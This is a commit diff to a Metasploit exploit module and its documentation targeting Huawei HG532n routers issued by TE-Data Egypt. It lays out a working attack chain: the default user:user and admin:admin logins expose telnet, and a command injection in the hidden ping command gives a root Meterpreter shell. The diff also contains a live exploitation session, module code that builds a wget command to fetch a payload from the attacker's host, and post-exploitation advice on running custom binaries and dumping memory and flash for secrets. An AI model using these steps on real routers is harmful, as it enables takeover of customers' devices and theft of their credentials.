huawei_hg532n_cmdinject: Improve overall documentation
- Add section on compiling custom binaries for the device - Add documentation for Huawei's wget flavor (thanks @h00die) - Abridge the module's info hash contents (thanks @wwebb-r7) - Abridge the module's comments; reference documentation (@h00die)bug/bundler_fix
parent
8a302463ab
commit
7daec53106
|
@ -3,7 +3,7 @@
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
|
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
|
||||||
injection exploit in the ping field of their limited shell interface.
|
injection exploit in the hidden ping command of their limited shell interface.
|
||||||
|
|
||||||
Affected hardware/software version strings:
|
Affected hardware/software version strings:
|
||||||
|
|
||||||
|
@ -16,9 +16,28 @@ Affected hardware/software version strings:
|
||||||
Software Version: V100R001C105B016 TEDATA
|
Software Version: V100R001C105B016 TEDATA
|
||||||
```
|
```
|
||||||
|
|
||||||
|
TE-Data, the incumbent ISP operator in Egypt, provided this router to customers
|
||||||
|
by default. The web interface has two kinds of logins, a "limited" user:user login
|
||||||
|
given to all customers, and an admin mode used by company's technical staff. For
|
||||||
|
hosts within the ISP network, this web interface is remotely accessible.
|
||||||
|
|
||||||
|
The web interface's user mode provides very limited functionality – only WIFI
|
||||||
|
passwords change and NAT port-forwarding. Nonetheless by port forwarding the
|
||||||
|
router's own (filtered) telnet port, it becomes remotely accessible. All installed
|
||||||
|
routers have a telnet password of admin:admin.
|
||||||
|
|
||||||
|
Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet
|
||||||
|
daemon does not provide a direct linux shell. Rather a very limited custom shell
|
||||||
|
is provided instead: "ATP command line tool". The limited shell has a ping command
|
||||||
|
which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit
|
||||||
|
that through command injection to gain Meterpreter root access.
|
||||||
|
|
||||||
|
[*] `<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml`
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
|
With an attacker node that resides within the ISP network, do:
|
||||||
|
|
||||||
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
|
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
|
||||||
|
|
||||||
- Set `RHOST` to the target router's IP
|
- Set `RHOST` to the target router's IP
|
||||||
|
@ -68,7 +87,7 @@ and `DOWNFIILE` to the payload's path on that server. Run the exploit
|
||||||
afterwards.
|
afterwards.
|
||||||
|
|
||||||
|
|
||||||
## Live Scenario
|
## Live Scenario (Verbose)
|
||||||
|
|
||||||
```
|
```
|
||||||
$ msfconsole
|
$ msfconsole
|
||||||
|
@ -156,3 +175,78 @@ Architecture : mips
|
||||||
Meterpreter : mipsbe/linux
|
Meterpreter : mipsbe/linux
|
||||||
meterpreter >
|
meterpreter >
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Post-exploitation
|
||||||
|
|
||||||
|
### MIPS toolchain
|
||||||
|
|
||||||
|
Beside a basic meterpreter shell, you can compile your own C programs and
|
||||||
|
run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2)
|
||||||
|
MIPS toolchain then compile your programs in the following manner:
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
TOOLCHAIN_ROOT=mips-2016.05
|
||||||
|
CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu-
|
||||||
|
|
||||||
|
${CROSS_COMPILE}gcc \
|
||||||
|
--sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \
|
||||||
|
-Wl,-dynamic-linker,/lib/ld-uClibc.so.0 \
|
||||||
|
-static \
|
||||||
|
program.c
|
||||||
|
|
||||||
|
${CROSS_COMPILE}strip -s a.out -o payload
|
||||||
|
```
|
||||||
|
|
||||||
|
Then call `wget` to download and run the generated `payload` above. Be careful
|
||||||
|
of the device's own wget call conventions below.
|
||||||
|
|
||||||
|
### A special wget command
|
||||||
|
|
||||||
|
Huawei crafted their own `wget` implementation inside the shipped version of
|
||||||
|
busybox. It has the following syntax:
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
meterpreter > shell
|
||||||
|
Process 17951 created.
|
||||||
|
Channel 1 created.
|
||||||
|
wget -h
|
||||||
|
wget: invalid option -- h
|
||||||
|
BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary
|
||||||
|
|
||||||
|
Usage: wget [OPTION]... HOST
|
||||||
|
|
||||||
|
wget download and upload a file via HTTP
|
||||||
|
|
||||||
|
Options:
|
||||||
|
-g Download
|
||||||
|
-s Upload
|
||||||
|
-v Verbose
|
||||||
|
-u Username to be used
|
||||||
|
-p Password to be used
|
||||||
|
-l Local file path
|
||||||
|
-r Remote file path
|
||||||
|
-P Port to be used, optional
|
||||||
|
-B Bind local ip, optional
|
||||||
|
-A Remote resolved ip, optional
|
||||||
|
-b Transfer start position
|
||||||
|
-e Transfer length
|
||||||
|
-m Max transfer size
|
||||||
|
-c Compress downloaded file
|
||||||
|
```
|
||||||
|
|
||||||
|
### Rootfs image
|
||||||
|
|
||||||
|
Extract `/dev/mtdblock[0123]` images from the device to gain full raw access to
|
||||||
|
the flash. Use [binwalk](https://github.com/devttys0/binwalk) on the extracted
|
||||||
|
`/dev/mtdblock3` contents to get a full squashfs rootfs image.
|
||||||
|
|
||||||
|
The most important files in the rootfs image are encrypted though. Nonetheless,
|
||||||
|
by dumping `/dev/mem` contents and looking for the juicy bits, you will find
|
||||||
|
all the necessary information needed ;-)
|
||||||
|
|
||||||
|
Note that even after configuration decryption, all the now-plaintext important
|
||||||
|
configuration files store passwords in a SHA-256 hashed form. Be creative.
|
||||||
|
|
|
@ -17,35 +17,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
super(update_info(
|
super(update_info(
|
||||||
info,
|
info,
|
||||||
'Name' => 'Huawei HG532n Command Injection',
|
'Name' => 'Huawei HG532n Command Injection',
|
||||||
'Description' => %q{
|
'Description' => %q(
|
||||||
|
This module exploits a command injection vulnerability in the Huawei
|
||||||
|
HG532n routers provided by TE-Data Egypt, leading to a root shell.
|
||||||
|
|
||||||
The Huawei HG532n routers are vulnerable to a command injection exploit
|
The router's web interface has two kinds of logins, a "limited" user:user
|
||||||
in the ping field of their limited shell interface.
|
login given to all customers and an admin mode. The limited mode is used
|
||||||
|
here to expose the router's telnet port to the outside world through NAT
|
||||||
|
port-forwarding.
|
||||||
|
|
||||||
TE-Data, the incumbent ISP operator in Egypt, provides this router to
|
With telnet now remotely accessible, the router's limited "ATP command
|
||||||
customers by default. The web interface has two kinds of logins, a
|
line tool" (served over telnet) can be upgraded to a root shell through
|
||||||
"limited" user:user login given to all customers, and an admin mode used
|
an injection into the ATP's hidden "ping" command.
|
||||||
by company's technical staff. From machines within the TE-Data network,
|
),
|
||||||
this web interface is remotely accessible.
|
|
||||||
|
|
||||||
The web interface's user mode provides very limited functionality, only
|
|
||||||
WIFI passwords change and NAT port-forwarding. Nonetheless by port
|
|
||||||
forwarding the router's own (filtered) telnet port, it becomes remotely
|
|
||||||
accessible. All installed routers have a telnet password of admin:admin.
|
|
||||||
|
|
||||||
Due to the ISP's (encrypted) runtime router configuration [*] though,
|
|
||||||
the telnet daemon does not provide a direct linux shell. Rather a very
|
|
||||||
limited custom shell is provided instead: "ATP command line tool". The
|
|
||||||
limited shell has a ping command which falls back to the system shell
|
|
||||||
though ("ping %s > /var/res_ping"). We exploit that through command
|
|
||||||
injection to gain Meterpreter root access.
|
|
||||||
|
|
||||||
[*] <X_ServiceManage TelnetEnable="1" TelnetPort="23" ConsoleEnable=""/>
|
|
||||||
at encrypted, read-only, /etc/defaultcfg.xml.
|
|
||||||
},
|
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery + msf module
|
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => ['linux'],
|
'Platform' => ['linux'],
|
||||||
|
@ -480,16 +467,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
srv_port = datastore['SRVPORT'].to_s
|
srv_port = datastore['SRVPORT'].to_s
|
||||||
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
|
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
|
||||||
|
|
||||||
# Custom Huawei busybox (v1.9) wget
|
# Check module documentation for the special wget syntax
|
||||||
#
|
|
||||||
# Options:
|
|
||||||
# -g Download
|
|
||||||
# -s Upload
|
|
||||||
# -v Verbose
|
|
||||||
# -l Local file path
|
|
||||||
# -r Remote file path
|
|
||||||
# -P Port to be used, optional
|
|
||||||
#
|
|
||||||
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
|
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
|
||||||
|
|
||||||
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
|
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
|
||||||
|
|
Loading…
Reference in New Issue